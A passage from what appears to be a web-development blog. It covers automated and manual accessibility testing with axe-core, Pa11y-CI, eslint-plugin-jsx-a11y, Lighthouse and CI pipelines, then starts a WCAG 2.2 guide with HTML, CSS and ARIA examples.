describe("Form Accessibility", () => {
  beforeEach(() => {
    cy.visit("/contact")
    cy.injectAxe()
  })

  it("form meets WCAG 2.2 AA", () => {
    cy.checkA11y(null, {
      runOnly: {
        type: "tag",
        values: ["wcag22aa"],
      },
    })
  })

  it("error states remain accessible", () => {
    cy.get("#email").type("invalid")
    cy.get("form").submit()
    cy.checkA11y() // Re-check after state change
  })
})
```

**React** (@axe-core/react) logs violations during development:

```javascript title="index.jsx" collapse={1-4}
import React from "react"
import ReactDOM from "react-dom/client"
import App from "./App"

if (process.env.NODE_ENV !== "production") {
  import("@axe-core/react").then((axe) => {
    axe.default(React, ReactDOM, 1000) // 1s debounce
  })
}

ReactDOM.createRoot(document.getElementById("root")).render(<App />)
```

### axe-core Results Structure

axe-core returns four result categories—understanding them prevents ignoring useful signals:

| Category         | Meaning                                | CI/CD Action          |
| ---------------- | -------------------------------------- | --------------------- |
| **violations**   | Definite failures                      | Fail build            |
| **passes**       | Definite passes                        | No action             |
| **incomplete**   | Potential issues needing human review  | Log for manual triage |
| **inapplicable** | Rules that don't apply to page content | No action             |

**Common mistake**: Ignoring `incomplete` results. These often flag issues like "review this image's alt text"—not automatable but important for manual testing queues.

## Tool Deep Dive: Pa11y and HTML CodeSniffer

Pa11y (v9.0.0, 2025) provides an alternative rule engine and excels at URL batch scanning. It uses HTML CodeSniffer (HTMLCS) by default but can run axe-core, or both simultaneously.

### Architectural Differences from axe-core

| Aspect              | Pa11y (HTMLCS)  | axe-core                         |
| ------------------- | --------------- | -------------------------------- |
| **Result model**    | Violations only | Violations + incomplete + passes |
| **Philosophy**      | Definite issues | Definite + potential issues      |
| **Rule count**      | ~70 checks      | 70+ rules                        |
| **False positives** | Moderate        | Very low (by design)             |

**Why use both**: HTMLCS and axe-core have different rule implementations. Running both (`runners: ['axe', 'htmlcs']`) catches ~35% of WCAG issues—more than either alone—because their rule sets partially overlap but cover different edge cases.

### Pa11y-CI for Pipeline Integration

Pa11y-CI (v4.0.0) is purpose-built for CI/CD. It fails pipelines on violations (unlike informational tools):

```json title=".pa11yci.json"
{
  "defaults": {
    "runners": ["axe", "htmlcs"],
    "standard": "WCAG2AA",
    "timeout": 30000,
    "wait": 1000
  },
  "urls": ["http://localhost:3000/", "http://localhost:3000/contact", "http://localhost:3000/checkout"]
}
```

```yaml title=".github/workflows/a11y.yml" collapse={1-15}
name: Accessibility
on: [push, pull_request]

jobs:
  a11y:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: "22"
      - run: npm ci
      - run: npm run build
      - run: npm run preview &
      - run: npx wait-on http://localhost:4321

      - name: Pa11y CI
        run: npx pa11y-ci

      - name: Upload results
        if: failure()
        uses: actions/upload-artifact@v4
        with:
          name: pa11y-report
          path: pa11y-ci-results.json
```

**Edge case**: Pa11y requires the page to be fully rendered. Use `wait` to delay testing after JavaScript execution, or `actions` to interact with the page before scanning:

```json title=".pa11yci.json"
{
  "urls": [
    {
      "url": "http://localhost:3000/login",
      "actions": [
        "set field #email to test@example.com",
        "set field #password to password123",
        "click element #submit",
        "wait for element #dashboard to be visible"
      ]
    }
  ]
}
```

## Static Analysis: eslint-plugin-jsx-a11y

eslint-plugin-jsx-a11y performs static AST analysis of JSX—catching issues before runtime with zero performance impact. It's the first line of defense in a shift-left strategy.

### Rule Categories

The plugin provides ~30 rules across categories:

**Alternative text**: `alt-text`, `img-redundant-alt`
**ARIA validity**: `aria-props`, `aria-proptypes`, `aria-role`, `aria-unsupported-elements`
**Semantic HTML**: `anchor-has-content`, `anchor-is-valid`, `heading-has-content`
**Interaction**: `click-events-have-key-events`, `no-static-element-interactions`
**Labels**: `label-has-associated-control`

### Configuration

```json title=".eslintrc.json" collapse={1-5, 15-20}
{
  "extends": ["eslint:recommended", "plugin:react/recommended"],
  "plugins": ["jsx-a11y"],
  "extends": ["plugin:jsx-a11y/recommended"],
  "rules": {
    // Override specific rules
    "jsx-a11y/anchor-is-valid": [
      "error",
      {
        "components": ["Link"],
        "specialLink": ["to"]
      }
    ],
    // Allow onClick on divs with role="button"
    "jsx-a11y/no-static-element-interactions": [
      "error",
      {
        "allowExpressionValues": true,
        "handlers": ["onClick"]
      }
    ]
  }
}
```

### Limitations

Static analysis cannot detect:

- Runtime accessibility (focus management, live regions)
- Dynamic content quality (generated alt text accuracy)
- Component composition issues (label associations across components)
- Third-party component accessibility

**Design rationale**: eslint-plugin-jsx-a11y catches the "low-hanging fruit" that developers often miss during coding. It doesn't replace runtime testing—it prevents obvious issues from reaching that stage.

## Browser Extensions: WAVE and axe DevTools

Browser extensions serve manual testing workflows—they're interactive tools for developers, not CI/CD automation.

### WAVE

**Strengths**:

- Runs entirely client-side (safe for intranets, authenticated pages)
- Visual overlay shows issues in page context
- Explains issues for non-specialists

**Limitations**:

- Manual page-by-page operation
- Higher false positive rate than axe-core
- Cannot verify content quality (alt text accuracy)
- No CI/CD integration

**Use case**: Developer education and stakeholder communication. The visual overlay helps explain accessibility concepts to designers and PMs.

### axe DevTools

The browser extension version of axe-core provides:

- Same rule engine as automated tests
- Interactive issue exploration
- Guided remediation suggestions
- Export for tracking

**Use case**: Debugging specific issues found in automated tests. The extension's "Intelligent Guided Tests" walk through semi-automated checks for issues axe-core marks as "incomplete."

## Lighthouse Accessibility Audits

Lighthouse runs a _subset_ of axe-core rules (~25-30 of 70+). It's designed for quick health checks, not compliance verification.

### When Lighthouse Falls Short

| Lighthouse Reports    | axe-core Catches                    |
| --------------------- | ----------------------------------- |
| Basic contrast issues | All contrast permutations           |
| Missing form labels   | Label association edge cases        |
| Alt text presence     | Alt text in SVGs, custom components |
| Basic ARIA            | Complex ARIA widget patterns        |

**Practical guidance**: Run Lighthouse for quick feedback during development. Run axe-core in your test suite for compliance. Don't rely on a passing Lighthouse score for WCAG conformance.

## Manual Testing: The Non-Negotiable 43%

Approximately 42% of WCAG criteria cannot be automated because they require subjective judgment. These criteria determine whether content _works_ for users with disabilities, not just whether technical requirements are met.

### Keyboard Navigation Testing

No reliable automation exists for keyboard navigation quality. The test protocol:

**Navigation keys**:

- `Tab`: Forward through interactive elements
- `Shift+Tab`: Backward navigation
- `Enter`/`Space`: Activate buttons and links
- `Arrow keys`: Navigate within widgets (menus, tabs, autocomplete)
- `Escape`: Close modals and dropdowns

**What to verify**:

1. **All functionality accessible**: Every action achievable with mouse must work with keyboard
2. **Logical focus order**: Tab sequence follows visual layout (top-to-bottom, left-to-right in LTR languages)
3. **Visible focus indicators**: 2px minimum outline with offset (WCAG 2.4.7)
4. **No keyboard traps**: User can always Tab away from any element
5. **Focus management in modals**: Focus trapped inside, returned on close

**Common failure**: SPA route changes don't move focus. Users Tab through the old page's elements until reaching new content.

```javascript title="spa-focus.js"
// After route change, move focus to main content
function handleRouteChange() {
  const main = document.querySelector("main")
  main.setAttribute("tabindex", "-1")
  main.focus()
  // Remove tabindex after focus to prevent mouse focus outline
  main.addEventListener("blur", () => main.removeAttribute("tabindex"), { once: true })
}
```

### Screen Reader Testing

Screen readers reveal issues invisible to sighted testing: missing labels, illogical heading structure, inadequate live region announcements.

**Testing matrix** (minimum coverage):

| Platform  | Screen Reader | Usage Share | Priority            |
| --------- | ------------- | ----------- | ------------------- |
| Windows   | NVDA          | ~40%        | Required            |
| Windows   | JAWS          | ~30%        | Enterprise contexts |
| macOS/iOS | VoiceOver     | ~15%        | Apple users         |
| Android   | TalkBack      | ~10%        | Mobile users        |

**NVDA vs JAWS behavioral differences**:

- **NVDA** strictly follows DOM/accessibility tree—exposes missing labels, broken associations
- **JAWS** uses heuristics to infer missing information—masks some issues but improves real-world usability

Test with both when possible. NVDA catches structural problems; JAWS reveals whether heuristics compensate for your issues (they shouldn't be necessary).

**Testing protocol**:

1. Navigate entire page in reading mode (not just interactive elements)
2. Complete primary user flows (forms, checkout, search)
3. Verify dynamic content announces (live regions, error states)
4. Test error recovery (can user understand and fix input errors?)

### Content Quality Assessment

These criteria require human judgment—no automation possible:

**Alternative text** (1.1.1): Does alt text convey the image's _purpose_ in context? "Graph showing sales data" is technically present but useless. "Sales increased 25% from Q1 to Q3" conveys meaning.

**Meaningful sequence** (1.3.2): Does reading order make sense when CSS positioning is ignored? Screen readers follow DOM order, not visual order.

**Link purpose** (2.4.4): Can users understand link destinations? "Click here" provides no context; "Download annual report (PDF, 2.4MB)" does.

**Error suggestions** (3.3.3): Do error messages explain how to fix the problem? "Invalid input" fails; "Email must include @ symbol" succeeds.

## Bug Triage and Prioritization

Not all accessibility issues have equal impact. Prioritize by user impact and legal risk:

### Severity Framework

| Severity     | Definition                                  | Examples                                                                | Response         |
| ------------ | ------------------------------------------- | ----------------------------------------------------------------------- | ---------------- |
| **Critical** | Complete barrier—task cannot be completed   | No keyboard access to submit button, missing form labels, keyboard trap | Fix immediately  |
| **Serious**  | Major difficulty—task very hard to complete | Poor contrast, confusing focus order, missing error identification      | Fix this sprint  |
| **Moderate** | Inconvenience—task harder than necessary    | Redundant alt text, minor contrast issues, verbose labels               | Fix this quarter |
| **Minor**    | Best practice—not a barrier                 | Missing landmark roles, suboptimal heading levels                       | Backlog          |

### WCAG Level Mapping

| WCAG Level             | User Impact                                | Legal Risk                   |
| ---------------------- | ------------------------------------------ | ---------------------------- |
| **Level A failures**   | Complete barriers—AT cannot function       | High—baseline requirement    |
| **Level AA failures**  | Significant barriers—tasks very difficult  | High—legal compliance target |
| **Level AAA failures** | Maximum accessibility—specialized contexts | Low—not universally required |

### Issue Documentation Template

Track issues with sufficient context for developers:

```markdown
## Issue: Missing label on email input

**Severity**: Critical
**WCAG**: 1.3.1 Info and Relationships (Level A)
**Page**: /checkout
**Tool**: axe-core (violations[0])

### Description

Email input field has no programmatic label. Screen reader users cannot identify the field's purpose.

### Current markup

<input type="email" name="email" placeholder="Email">

### Recommended fix

<label for="checkout-email">Email address</label>
<input type="email" id="checkout-email" name="email">

### Verification

- [ ] axe-core passes
- [ ] NVDA announces "Email address, edit"
- [ ] Label visible and associated
```

## CI/CD Pipeline Architecture

Build a multi-stage pipeline that catches issues at appropriate development phases:

### Stage 1: Pre-commit (Development Time)

```json title="package.json"
{
  "lint-staged": {
    "*.{js,jsx,ts,tsx}": ["eslint --fix"]
  },
  "husky": {
    "hooks": {
      "pre-commit": "lint-staged"
    }
  }
}
```

eslint-plugin-jsx-a11y catches static violations before code enters the repository.

### Stage 2: Pull Request (Automated Testing)

```yaml title=".github/workflows/pr.yml" collapse={1-12}
name: PR Checks
on: pull_request

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: "22"
      - run: npm ci

      - name: Lint (includes a11y rules)
        run: npm run lint

      - name: Unit + Component Tests (includes axe)
        run: npm test

      - name: E2E Tests (Playwright + axe-core)
        run: npx playwright test
```

### Stage 3: Pre-deploy (Full Audit)

```yaml title=".github/workflows/deploy.yml" collapse={1-18}
name: Deploy
on:
  push:
    branches: [main]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: "22"
      - run: npm ci
      - run: npm run build
      - run: npm run preview &
      - run: npx wait-on http://localhost:4321

      - name: Pa11y-CI (dual runner)
        run: npx pa11y-ci

      - name: Lighthouse CI
        run: npx lhci autorun

  deploy:
    needs: audit
    runs-on: ubuntu-latest
    steps:
      - name: Deploy to production
        run: ./deploy.sh
```

### Quality Gates

Configure thresholds that prevent regressions:

```javascript title="lighthouserc.js"
module.exports = {
  ci: {
    assert: {
      assertions: {
        "categories:accessibility": ["error", { minScore: 0.9 }],
        // Specific audits
        "color-contrast": "error",
        "document-title": "error",
        "html-has-lang": "error",
        "meta-viewport": "error",
      },
    },
  },
}
```

**Pa11y threshold**:

```json title=".pa11yci.json"
{
  "defaults": {
    "threshold": 0
  }
}
```

A threshold of 0 fails on any violation. For legacy codebases, start with the current violation count and reduce over time:

```json
{
  "defaults": {
    "threshold": 15
  }
}
```

## Conclusion

Accessibility testing requires defense in depth: static analysis catches syntax errors, runtime automation catches technical violations, and manual testing catches experiential issues. No single tool provides complete coverage because ~42% of WCAG criteria require human judgment.

Build your pipeline around this reality:

1. **Shift-left with eslint-plugin-jsx-a11y**—catch obvious issues at development time
2. **Gate PRs with axe-core in Playwright/Cypress**—prevent regressions from merging
3. **Audit with Pa11y-CI pre-deploy**—dual-runner coverage catches more edge cases
4. **Manual test before releases**—keyboard and screen reader testing are non-negotiable

The 57% automated coverage is a floor, not a ceiling. With disciplined manual testing, you can catch 80-90% of issues before users encounter them. The remaining 10-20% requires user testing with people who actually use assistive technology—but that's a topic for another article.

## Appendix

### Prerequisites

- Familiarity with WCAG 2.2 success criteria structure (see WCAG 2.2 Practical Guide)
- Experience with JavaScript testing frameworks (Jest, Playwright, or Cypress)
- Basic understanding of assistive technology categories (screen readers, switch devices, voice control)
- CI/CD pipeline concepts (GitHub Actions, GitLab CI, or similar)

### Terminology

- **axe-core**: Open-source accessibility testing engine by Deque, used by most modern testing integrations
- **HTML CodeSniffer (HTMLCS)**: Alternative accessibility rule engine used by Pa11y by default
- **AST (Abstract Syntax Tree)**: Code representation that eslint-plugin-jsx-a11y analyzes for static violations
- **incomplete results**: axe-core's category for issues requiring human review—not definite violations but potential problems
- **shift-left**: Moving quality checks earlier in the development process (from deployment to development time)
- **quality gate**: Automated check that prevents code progression (merge, deploy) if criteria aren't met

### Summary

- **Automated testing catches ~57% of accessibility issues**—measured by issue volume, not criteria count
- **~42% of WCAG criteria require human judgment** for content quality, focus order logic, and user experience
- **axe-core dominates** because its conservative rule engineering minimizes false positives, making it safe for CI/CD gates
- **Pa11y with dual runners** (axe + HTMLCS) catches more edge cases than either engine alone
- **eslint-plugin-jsx-a11y** provides shift-left coverage for JSX codebases—zero runtime cost
- **Manual testing is non-negotiable**: keyboard navigation and screen reader testing cannot be automated effectively
- **Screen reader testing** should use NVDA (catches structural issues) and JAWS (reveals heuristic compensation) when possible
- **Issue triage** should prioritize by user impact (complete barrier vs. inconvenience) and WCAG level (A/AA violations first)

### References

**Specifications**

- [WCAG 2.2 W3C Recommendation](https://www.w3.org/TR/WCAG22/) - Normative success criteria
- [Understanding WCAG 2.2](https://www.w3.org/WAI/WCAG22/Understanding/) - Techniques and intent for each criterion
- [W3C ACT Rules](https://www.w3.org/WAI/standards-guidelines/act/rules/) - Accessibility Conformance Testing rule format

**Official Documentation**

- [axe-core GitHub](https://github.com/dequelabs/axe-core) - Source code and API documentation
- [axe-core Rule Descriptions](https://dequeuniversity.com/rules/axe/html) - Detailed explanation of each rule
- [Pa11y Documentation](https://pa11y.org/) - CLI and CI tool usage
- [Pa11y-CI GitHub](https://github.com/pa11y/pa11y-ci) - CI integration configuration
- [eslint-plugin-jsx-a11y GitHub](https://github.com/jsx-eslint/eslint-plugin-jsx-a11y) - Static analysis rules
- [Playwright Accessibility Testing](https://playwright.dev/docs/accessibility-testing) - @axe-core/playwright integration
- [Cypress Accessibility](https://docs.cypress.io/accessibility/get-started/introduction) - cypress-axe and Cypress Accessibility

**Research and Analysis**

- [Deque: Automated Testing Identifies 57% of Issues](https://www.deque.com/blog/automated-testing-study-identifies-57-percent-of-digital-accessibility-issues/) - Methodology and findings
- [Accessible.org: What Percentage of WCAG Can Be Automated?](https://accessible.org/automated-scans-wcag/) - Criteria-level analysis
- [WebAIM Million](https://webaim.org/projects/million/) - Annual analysis of homepage accessibility

**Tools**

- [axe DevTools Browser Extension](https://www.deque.com/axe/devtools/) - Interactive testing
- [WAVE Evaluation Tool](https://wave.webaim.org/) - Browser extension for manual testing
- [NVDA Screen Reader](https://www.nvaccess.org/) - Free Windows screen reader
- [JAWS Screen Reader](https://www.freedomscientific.com/products/software/jaws/) - Commercial Windows screen reader

---

## WCAG 2.2: Practical Accessibility Guide

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/accessibility-standards/wcag-2-2-practical-guide
**Category:** Web Foundations / Accessibility Standards
**Description:** Web Content Accessibility Guidelines (WCAG) 2.2 became a W3C Recommendation in October 2023, adding 9 new success criteria focused on cognitive accessibility, mobile interaction, and focus visibility. This guide covers implementation strategies for semantic HTML, ARIA patterns, and testing methodologies—practical knowledge for building inclusive web experiences that meet legal requirements in the US (ADA) and EU (European Accessibility Act).

# WCAG 2.2: Practical Accessibility Guide

Web Content Accessibility Guidelines (WCAG) 2.2 became a W3C Recommendation in October 2023, adding 9 new success criteria focused on cognitive accessibility, mobile interaction, and focus visibility. This guide covers implementation strategies for semantic HTML, ARIA patterns, and testing methodologies—practical knowledge for building inclusive web experiences that meet legal requirements in the US (ADA) and EU (European Accessibility Act).

<figure>

![WCAG 2.2 structure: POUR principles map to hierarchical compliance levels totaling 86 success criteria](./wcag-2-2-structure-pour-principles-map-to-hierarchical-compliance-levels-totalin.svg)

<figcaption>WCAG 2.2 structure: POUR principles map to hierarchical compliance levels totaling 86 success criteria</figcaption>

</figure>

## Abstract

WCAG 2.2 builds on the POUR framework (Perceivable, Operable, Understandable, Robust) with three compliance tiers:

| Level   | Criteria       | Purpose                                                              | Legal Status                           |
| ------- | -------------- | -------------------------------------------------------------------- | -------------------------------------- |
| **A**   | 32             | Minimum barrier removal—assistive tech cannot function without these | Baseline, rarely sufficient alone      |
| **AA**  | +24 (56 total) | Balance of impact vs. implementation cost                            | Required by ADA, EU accessibility laws |
| **AAA** | +30 (86 total) | Maximum accessibility; not universally achievable                    | Specialized contexts only              |

**What's new in WCAG 2.2** (9 criteria added, 1 removed):

- **Cognitive accessibility**: Redundant Entry (A), Accessible Authentication (AA/AAA), Consistent Help (A)—no memory tests, no duplicate data entry
- **Motor accessibility**: Target Size Minimum 24×24px (AA), Dragging Movements alternatives (AA)
- **Focus visibility**: Focus Not Obscured (AA/AAA), Focus Appearance (AAA)—sticky headers can't hide focused elements
- **Removed**: 4.1.1 Parsing—browsers now handle HTML robustly; assistive tech no longer parses markup directly

**Implementation priorities**:

1. Semantic HTML provides 80% of accessibility for free—landmarks, headings, native form controls
2. ARIA supplements native semantics for custom widgets—roles, states, and live regions
3. Automated testing catches ~57% of individual issues but only ~35% of WCAG criteria; manual testing is non-negotiable
4. Focus management in SPAs and modals is the most common source of accessibility regressions

## Understanding WCAG 2.2

WCAG 2.2, published October 2023 (with minor definition updates in December 2024), contains 86 success criteria across three conformance levels. Each level is cumulative—AA includes all of A, AAA includes all of AA.

**Level A (32 criteria)** establishes minimum viability. Without these, assistive technologies cannot navigate or operate the interface. Failures at this level are complete barriers—a missing form label makes a field unusable for screen reader users, not merely inconvenient.

**Level AA (24 additional, 56 total)** balances impact against implementation cost. This is the legal target: ADA Title II requires WCAG 2.1 AA by 2026 for state/local government; the European Accessibility Act (enforced June 2025) mandates AA for businesses serving EU customers. Courts consistently use AA as the de facto standard for private sector litigation.

**Level AAA (30 additional, 86 total)** represents maximum accessibility but is intentionally not a blanket requirement. Some content fundamentally cannot meet certain AAA criteria—a sign language video cannot have a sign language interpretation, and some pages legitimately require reading comprehension above lower secondary education level.

> **WCAG 2.1 → 2.2 Migration:** If you're already AA-compliant with WCAG 2.1, you need to address 6 new criteria: Focus Not Obscured (2.4.11), Dragging Movements (2.5.7), Target Size Minimum (2.5.8), Consistent Help (3.2.6), Redundant Entry (3.3.7), and Accessible Authentication (3.3.8).

## What's New in WCAG 2.2

WCAG 2.2 added 9 success criteria and removed 1. The additions target three gaps: cognitive disabilities (underserved in 2.0/2.1), mobile/touch interactions, and focus visibility.

### New Level A Criteria

**3.2.6 Consistent Help** requires help mechanisms (contact info, chat, self-help) to appear in the same relative location across pages. Users with cognitive disabilities rely on spatial consistency to find help without searching.

```html
<!-- Help in consistent footer position across all pages -->
<footer>
  <nav aria-label="Help">
    <a href="/contact">Contact Us</a>
    <a href="/faq">FAQ</a>
    <button id="chat-toggle">Chat Support</button>
  </nav>
</footer>
```

**3.3.7 Redundant Entry** prohibits asking users to re-enter information they've already provided in the same session, unless re-entry is essential (security confirmation) or the previous value is no longer valid. Auto-population or selection from previous entries satisfies this.

```html
<!-- Shipping address auto-fills billing if same -->
<fieldset>
  <legend>Billing Address</legend>
  <label>
    <input type="checkbox" id="same-as-shipping" checked />
    Same as shipping address
  </label>
  <!-- Fields auto-populate when checked -->
</fieldset>
```

### New Level AA Criteria

**2.4.11 Focus Not Obscured (Minimum)** ensures focused elements aren't entirely hidden by sticky headers, footers, or overlays. Partial obscuring is permitted at AA; full visibility requires AAA (2.4.12).

```css
/* Ensure focused content isn't hidden by sticky header */
:focus {
  scroll-margin-top: 80px; /* Height of sticky header + padding */
}

/* Or use scroll-padding on the scroll container */
html {
  scroll-padding-top: 80px;
}
```

**2.5.7 Dragging Movements** requires a single-pointer alternative for any drag operation. Users with motor impairments may not be able to maintain pressure while moving.

```html
<!-- Drag-to-reorder list with button alternatives -->
<li draggable="true">
  <span>Item 1</span>
  <button aria-label="Move Item 1 up" onclick="moveUp(this)">↑</button>
  <button aria-label="Move Item 1 down" onclick="moveDown(this)">↓</button>
</li>
```

**2.5.8 Target Size (Minimum)** requires 24×24 CSS pixel minimum for pointer targets, with exceptions:

| Exception      | Description                                                                                           |
| -------------- | ----------------------------------------------------------------------------------------------------- |
| **Spacing**    | Undersized target passes if 24px diameter circles centered on each target don't overlap other targets |
| **Equivalent** | Another control on the same page meets the requirement                                                |
| **Inline**     | Text links within paragraphs are exempt                                                               |
| **User agent** | Browser-rendered controls (e.g., date picker calendar)                                                |
| **Essential**  | Size is legally required or information would be lost (maps)                                          |

```css
/* Minimum touch target with spacing exception fallback */
.icon-button {
  min-width: 24px;
  min-height: 24px;
  padding: 12px; /* Increases clickable area */
}

/* If 24px isn't achievable, ensure 24px spacing */
.small-button {
  min-width: 20px;
  min-height: 20px;
  margin: 4px; /* Creates 24px circle clearance */
}
```

**3.3.8 Accessible Authentication (Minimum)** prohibits cognitive function tests (memory, transcription, puzzle-solving) as the sole authentication method. Alternatives must exist:

- Copy-paste enabled for passwords (no blocking paste)
- Password managers can auto-fill
- OAuth/SSO (delegated authentication)
- Biometrics or hardware tokens
- Email/SMS codes (but not CAPTCHA that requires transcription)

```html
<!-- Accessible login with password manager support -->
<form>
  <label for="email">Email</label>
  <input type="email" id="email" autocomplete="username" />

  <label for="password">Password</label>
  <input type="password" id="password" autocomplete="current-password" />

  <!-- Alternative: passwordless -->
  <button type="button" onclick="sendMagicLink()">Email me a login link</button>
</form>
```

### New Level AAA Criteria

- **2.4.12 Focus Not Obscured (Enhanced)**: No part of focused element obscured (stricter than 2.4.11)
- **2.4.13 Focus Appearance**: Minimum 2px perimeter, 3:1 contrast between focused/unfocused states
- **3.3.9 Accessible Authentication (Enhanced)**: No object recognition or personal content identification

### Removed: 4.1.1 Parsing

WCAG 2.2 removed 4.1.1 Parsing because modern assistive technologies no longer parse HTML directly—they rely on browser accessibility APIs. Browsers now handle malformed HTML robustly, and issues that would have failed 4.1.1 (duplicate IDs, improper nesting) cause failures in other criteria (4.1.2 Name, Role, Value) when they actually impact users.

> **Migration note:** If your test suite checks 4.1.1, don't simply remove those tests. Duplicate IDs still fail 4.1.2 when they break accessible names. The change acknowledges that 4.1.1 was testing a mechanism (HTML validity) rather than an outcome (AT compatibility).

## The POUR Principles

WCAG organizes all 86 success criteria under four principles. Understanding which principle a criterion belongs to clarifies what breaks when it fails.

| Principle          | What Fails                                              | Typical Criteria                                                 |
| ------------------ | ------------------------------------------------------- | ---------------------------------------------------------------- |
| **Perceivable**    | Content cannot be perceived through any available sense | Text alternatives, captions, contrast, adaptable presentation    |
| **Operable**       | Users cannot interact with the interface                | Keyboard access, sufficient time, seizure prevention, navigation |
| **Understandable** | Users cannot comprehend content or predict behavior     | Readable text, predictable operation, input assistance           |
| **Robust**         | Assistive technologies cannot interpret content         | Valid markup, name/role/value, status messages                   |

**Perceivable** failures create absolute barriers for specific disabilities—a missing `alt` attribute means blind users receive nothing. **Operable** failures often affect multiple groups: keyboard traps block keyboard-only users, motor-impaired users, and many screen reader users.

**Understandable** criteria address cognitive accessibility, the focus of WCAG 2.2's additions. Cognitive disabilities affect ~15% of the population—more than any other disability category—yet were underserved in earlier WCAG versions.

**Robust** ensures AT compatibility. With 4.1.1 Parsing removed, the remaining Robust criteria focus on what browsers expose to the accessibility tree (4.1.2 Name, Role, Value) and how updates are communicated (4.1.3 Status Messages).

## Semantic HTML Implementation

Semantic HTML provides most accessibility automatically. Native elements expose roles, states, and keyboard behavior to assistive technologies without JavaScript.

### Landmarks and Structure

```html
<header>
  <nav aria-label="Main navigation">
    <ul>
      <li><a href="#main">Skip to main content</a></li>
      <li><a href="/home">Home</a></li>
      <li><a href="/about">About</a></li>
    </ul>
  </nav>
</header>

<main id="main">
  <article>
    <h1>Page Title</h1>
    <section>
      <h2>Section Heading</h2>
      <p>Content goes here...</p>
    </section>
  </article>
</main>

<aside>
  <h2>Related Information</h2>
</aside>

<footer>
  <p>&copy; 2024 Your Website</p>
</footer>
```

**Heading Hierarchy**
Implement a logical heading structure without skipping levels:

```html
<h1>Main Page Title</h1>
<h2>Major Section</h2>
<h3>Subsection</h3>
<h3>Another Subsection</h3>
<h2>Another Major Section</h2>
<h3>Subsection</h3>
```

**Language Declaration**
Always specify the document language and mark language changes:

```html
<html lang="en">
  <head>
    <title>English Page</title>
  </head>
  <body>
    <p>This is English text.</p>
    <p lang="es">Este texto está en español.</p>
  </body>
</html>
```

### Forms and Input Elements

Forms are critical interaction points that require careful accessibility implementation:

**Proper Labeling**
Every form control must have an accessible label:

```html
<!-- Explicit labeling (preferred) -->
<label for="email">Email Address (required)</label>
<input type="email" id="email" name="email" required aria-describedby="email-error" />

<!-- Implicit labeling -->
<label>
  Password
  <input type="password" name="password" required />
</label>

<!-- Using aria-label when visual label isn't desired -->
<input type="search" name="search" aria-label="Search products" placeholder="Search..." />
```

**Grouping Related Controls**
Use fieldset and legend for radio buttons and checkboxes:

```html
<fieldset>
  <legend>Preferred Contact Method</legend>
  <input type="radio" id="email" name="contact" value="email" />
  <label for="email">Email</label>

  <input type="radio" id="phone" name="contact" value="phone" />
  <label for="phone">Phone</label>

  <input type="radio" id="mail" name="contact" value="mail" />
  <label for="mail">Mail</label>
</fieldset>
```

**Error Handling and Validation**
Provide clear, helpful error messages:

```html
<label for="username">Username (required)</label>
<input type="text" id="username" name="username" required aria-describedby="username-error" aria-invalid="true" />
<div id="username-error" role="alert">Username is required and must be at least 3 characters long.</div>
```

**Instructions and Help Text**
Use aria-describedby to associate help text with form controls:

```html
<label for="password">Password</label>
<input type="password" id="password" name="password" aria-describedby="password-help" required />
<div id="password-help">Password must be at least 8 characters long and contain at least one number.</div>
```

### Images and Media

**Alternative Text for Images**
Provide meaningful alt text that serves the same purpose as the image:

```html
<!-- Informative image -->
<img src="sales-chart.png" alt="Sales increased 25% from January to March 2024" />

<!-- Decorative image -->
<img src="decorative-border.png" alt="" role="presentation" />

<!-- Functional image (button) -->
<button type="submit">
  <img src="search-icon.png" alt="Search" />
</button>

<!-- Complex image with longer description -->
<img src="complex-chart.png" alt="Quarterly sales data" aria-describedby="chart-desc" />
<div id="chart-desc">
  Detailed description: Sales data shows Q1 at $100k, Q2 at $150k, Q3 at $175k, and Q4 at $200k, representing steady
  growth throughout the year.
</div>
```

**Video and Audio Accessibility**
Multimedia content requires multiple accessibility features:

```html
<!-- Video with captions and audio description -->
<video controls>
  <source src="training-video.mp4" type="video/mp4" />
  <track kind="captions" src="captions.vtt" srclang="en" label="English captions" />
  <track kind="descriptions" src="descriptions.vtt" srclang="en" label="Audio descriptions" />
  <p>Your browser doesn't support video. <a href="transcript.html">Read the transcript</a></p>
</video>

<!-- Audio-only content -->
<audio controls>
  <source src="podcast.mp3" type="audio/mpeg" />
  <p>Your browser doesn't support audio. <a href="transcript.html">Read the transcript</a></p>
</audio>
<p><a href="podcast-transcript.txt">Download transcript</a></p>
```

### Interactive Elements and Custom Components

**Buttons and Links**
Ensure interactive elements have clear purposes and are keyboard accessible:

```html
<!-- Descriptive button text -->
<button type="submit">Submit Contact Form</button>

<!-- Button with icon needs accessible text -->
<button type="button" aria-label="Close dialog">
  <svg aria-hidden="true">...</svg>
</button>

<!-- Link with clear destination -->
<a href="/products/laptops">View all laptop models</a>

<!-- Link opening new window/tab -->
<a href="/terms.pdf" target="_blank"> Terms of Service <span class="sr-only">(opens in new tab)</span> </a>
```

**Custom Interactive Components**
When creating custom widgets, use ARIA roles, properties, and states:

```html
<!-- Custom dropdown menu -->
<div class="dropdown">
  <button aria-haspopup="true" aria-expanded="false" id="menu-button">Options</button>
  <ul role="menu" aria-labelledby="menu-button" hidden>
    <li role="menuitem"><a href="/option1">Option 1</a></li>
    <li role="menuitem"><a href="/option2">Option 2</a></li>
    <li role="menuitem"><a href="/option3">Option 3</a></li>
  </ul>
</div>

<!-- Custom tab interface -->
<div role="tablist" aria-label="Content sections">
  <button role="tab" aria-selected="true" aria-controls="panel1" id="tab1">Section 1</button>
  <button role="tab" aria-selected="false" aria-controls="panel2" id="tab2">Section 2</button>
</div>

<div role="tabpanel" id="panel1" aria-labelledby="tab1">
  <h2>Section 1 Content</h2>
  <p>Content for the first section...</p>
</div>

<div role="tabpanel" id="panel2" aria-labelledby="tab2" hidden>
  <h2>Section 2 Content</h2>
  <p>Content for the second section...</p>
</div>
```

### Color and Visual Design

**Color Contrast Requirements**
Ensure sufficient contrast ratios for all text and UI components:

- **Normal text**: Minimum 4.5:1 contrast ratio (WCAG AA)
- **Large text** (18pt+ or 14pt+ bold): Minimum 3:1 contrast ratio
- **UI components**: Minimum 3:1 contrast ratio for borders, icons, and focus indicators

**Color-Independent Information**
Never rely solely on color to convey information:

```html
